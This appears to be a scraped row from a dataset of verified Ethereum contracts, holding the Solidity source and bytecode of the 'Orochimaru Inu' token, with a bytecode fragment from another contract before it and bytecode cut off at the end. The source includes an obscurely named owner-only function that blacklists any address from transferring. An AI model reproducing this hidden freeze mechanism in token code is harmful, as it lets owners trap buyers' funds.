fffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161196f91906121c8565b60405180910390a350505b505050565b60008383111582906119c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119be9190612026565b60405180910390fd5b50600083856119d691906122fb565b9050809150509392505050565b60008082846119f2919061221a565b905083811015611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e906120a8565b60405180910390fd5b8091505092915050565b6000600c54611a4f83610860565b10158015611a675750600b54611a6483610860565b11155b15611a755760019050611a7a565b600090505b919050565b600080831415611a925760009050611af4565b60008284611aa091906122a1565b9050828482611aaf9190612270565b14611aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae690612128565b60405180910390fd5b809150505b92915050565b6000611b3c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b8e565b905092915050565b6000611b8683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061197f565b905092915050565b60008083118290611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9190612026565b60405180910390fd5b5060008385611be49190612270565b9050809150509392505050565b600081359050611c0081612757565b92915050565b600081359050611c158161276e565b92915050565b600081359050611c2a81612785565b92915050565b600060208284031215611c4257600080fd5b6000611c5084828501611bf1565b91505092915050565b60008060408385031215611c6c57600080fd5b6000611c7a85828601611bf1565b9250506020611c8b85828601611bf1565b9150509250929050565b600080600060608486031215611caa57600080fd5b6000611cb886828701611bf1565b9350506020611cc986828701611bf1565b9250506040611cda86828701611c1b565b9150509250925092565b60008060408385031215611cf757600080fd5b6000611d0585828601611bf1565b9250506020611d1685828601611c06565b9150509250929050565b60008060408385031215611d3357600080fd5b6000611d4185828601611bf1565b9250506020611d5285828601611c1b565b9150509250929050565b600060208284031215611d6e57600080fd5b6000611d7c84828501611c06565b91505092915050565b600060208284031215611d9757600080fd5b6000611da584828501611c1b565b91505092915050565b611db78161232f565b82525050565b611dc681612341565b82525050565b6000611dd7826121fe565b611de18185612209565b9350611df1818560208601612384565b611dfa81612476565b840191505092915050565b6000611e12602383612209565b9150611e1d82612487565b604082019050919050565b6000611e35602683612209565b9150611e40826124d6565b604082019050919050565b6000611e58602283612209565b9150611e6382612525565b604082019050919050565b6000611e7b601b83612209565b9150611e8682612574565b602082019050919050565b6000611e9e601383612209565b9150611ea98261259d565b602082019050919050565b6000611ec1600183612209565b9150611ecc826125c6565b602082019050919050565b6000611ee4601383612209565b9150611eef826125ef565b602082019050919050565b6000611f07602183612209565b9150611f1282612618565b604082019050919050565b6000611f2a602083612209565b9150611f3582612667565b602082019050919050565b6000611f4d602583612209565b9150611f5882612690565b604082019050919050565b6000611f70601083612209565b9150611f7b826126df565b602082019050919050565b6000611f93602483612209565b9150611f9e82612708565b604082019050919050565b611fb28161236d565b82525050565b611fc181612377565b82525050565b6000602082019050611fdc6000830184611dae565b92915050565b6000604082019050611ff76000830185611dae565b6120046020830184611dbd565b9392505050565b60006020820190506120206000830184611dbd565b92915050565b600060208201905081810360008301526120408184611dcc565b905092915050565b6000602082019050818103600083015261206181611e05565b9050919050565b6000602082019050818103600083015261208181611e28565b9050919050565b600060208201905081810360008301526120a181611e4b565b9050919050565b600060208201905081810360008301526120c181611e6e565b9050919050565b600060208201905081810360008301526120e181611e91565b9050919050565b6000602082019050818103600083015261210181611eb4565b9050919050565b6000602082019050818103600083015261212181611ed7565b9050919050565b6000602082019050818103600083015261214181611efa565b9050919050565b6000602082019050818103600083015261216181611f1d565b9050919050565b6000602082019050818103600083015261218181611f40565b9050919050565b600060208201905081810360008301526121a181611f63565b9050919050565b600060208201905081810360008301526121c181611f86565b9050919050565b60006020820190506121dd6000830184611fa9565b92915050565b60006020820190506121f86000830184611fb8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006122258261236d565b91506122308361236d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612265576122646123e9565b5b828201905092915050565b600061227b8261236d565b91506122868361236d565b92508261229657612295612418565b5b828204905092915050565b60006122ac8261236d565b91506122b78361236d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122f0576122ef6123e9565b5b828202905092915050565b60006123068261236d565b91506123118361236d565b925082821015612324576123236123e9565b5b828203905092915050565b600061233a8261234d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156123a2578082015181840152602081019050612387565b838111156123b1576000848401525b50505050565b600060028204905060018216806123cf57607f821691505b602082108114156123e3576123e2612447565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526563697069656e742069732062616e6e656400000000000000000000000000600082015250565b7f7800000000000000000000000000000000000000000000000000000000000000600082015250565b7f426f742063616e206e6f74206578656375746500000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f53656e6465722069732062616e6e656400000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6127608161232f565b811461276b57600080fd5b50565b61277781612341565b811461278257600080fd5b50565b61278e8161236d565b811461279957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053c4b382784f72283dd065d17357dab3efc0cc51302d65b9113b2f16e2c54c8364736f6c63430008040033
{"success": true, "error": null, "results": {}}
6,920
0xf65F4f326304e4B08CEa3848ca184cA9521F2201
/** Telegram: https://t.me/OrochimaruInuERC Website: https://orochimaruinu.net/ */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract OROCHI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 8000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Orochimaru Inu"; string private constant _symbol = "OROCHI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x11113e02d23952F3f983A1825344335D40BFFeB1); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 120000000 * 10**9; _maxWalletSize = 240000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e41565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612964565b6104b4565b60405161018e9190612e26565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fe3565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129a0565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612915565b610632565b60405161021f9190612e26565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612887565b61070b565b005b34801561025d57600080fd5b506102666107fb565b6040516102739190613058565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129e1565b610804565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a33565b6108b6565b005b3480156102da57600080fd5b506102e361098f565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612887565b610a01565b6040516103199190612fe3565b60405180910390f35b34801561032e57600080fd5b50610337610a52565b005b34801561034557600080fd5b5061034e610ba5565b005b34801561035c57600080fd5b50610365610c5a565b6040516103729190612d58565b60405180910390f35b34801561038757600080fd5b50610390610c83565b60405161039d9190612e41565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612964565b610cc0565b6040516103da9190612e26565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a33565b610cde565b005b34801561041857600080fd5b50610421610db7565b005b34801561042f57600080fd5b50610438610e31565b005b34801561044657600080fd5b50610461600480360381019061045c91906128d9565b61139b565b60405161046e9190612fe3565b60405180910390f35b60606040518060400160405280600e81526020017f4f726f6368696d61727520496e75000000000000000000000000000000000000815250905090565b60006104c86104c1611422565b848461142a565b6001905092915050565b6000676f05b59d3b200000905090565b6104ea611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f23565b60405180910390fd5b60005b815181101561062e576001600660008484815181106105c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610626906132f9565b91505061057a565b5050565b600061063f8484846115f5565b6107008461064b611422565b6106fb8560405180606001604052806028815260200161371c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b1611422565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c889092919063ffffffff16565b61142a565b600190509392505050565b610713611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790612f23565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080c611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612f23565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108be611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612f23565b60405180910390fd5b6000811161095857600080fd5b610986606461097883676f05b59d3b200000611cec90919063ffffffff16565b611d6790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d0611422565b73ffffffffffffffffffffffffffffffffffffffff16146109f057600080fd5b60004790506109fe81611db1565b50565b6000610a4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1d565b9050919050565b610a5a611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade90612f23565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bad611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612f23565b60405180910390fd5b676f05b59d3b200000600f81905550676f05b59d3b200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4f524f4348490000000000000000000000000000000000000000000000000000815250905090565b6000610cd4610ccd611422565b84846115f5565b6001905092915050565b610ce6611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612f23565b60405180910390fd5b60008111610d8057600080fd5b610dae6064610da083676f05b59d3b200000611cec90919063ffffffff16565b611d6790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df8611422565b73ffffffffffffffffffffffffffffffffffffffff1614610e1857600080fd5b6000610e2330610a01565b9050610e2e81611e8b565b50565b610e39611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612f23565b60405180910390fd5b600e60149054906101000a900460ff1615610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90612fc3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fa530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16676f05b59d3b20000061142a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906128b0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bd91906128b0565b6040518363ffffffff1660e01b81526004016110da929190612d73565b602060405180830381600087803b1580156110f457600080fd5b505af1158015611108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112c91906128b0565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111b530610a01565b6000806111c0610c5a565b426040518863ffffffff1660e01b81526004016111e296959493929190612dc5565b6060604051808303818588803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112349190612a5c565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506701aa535d3d0c0000600f81905550670354a6ba7a1800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611345929190612d9c565b602060405180830381600087803b15801561135f57600080fd5b505af1158015611373573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113979190612a0a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149190612fa3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150190612ec3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e89190612fe3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90612f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc90612e63565b60405180910390fd5b60008111611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170f90612f43565b60405180910390fd5b6002600a819055506003600b81905550611730610c5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179e575061176e610c5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118475750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118fb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119695750600e60179054906101000a900460ff165b15611aa757600f548111156119b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119aa90612e83565b60405180910390fd5b601054816119c084610a01565b6119ca9190613119565b1115611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0290612f83565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5657600080fd5b601e42611a639190613119565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b525750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bbe576002600a819055506003600b819055505b6000611bc930610a01565b9050600e60159054906101000a900460ff16158015611c365750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c4e5750600e60169054906101000a900460ff165b15611c7657611c5c81611e8b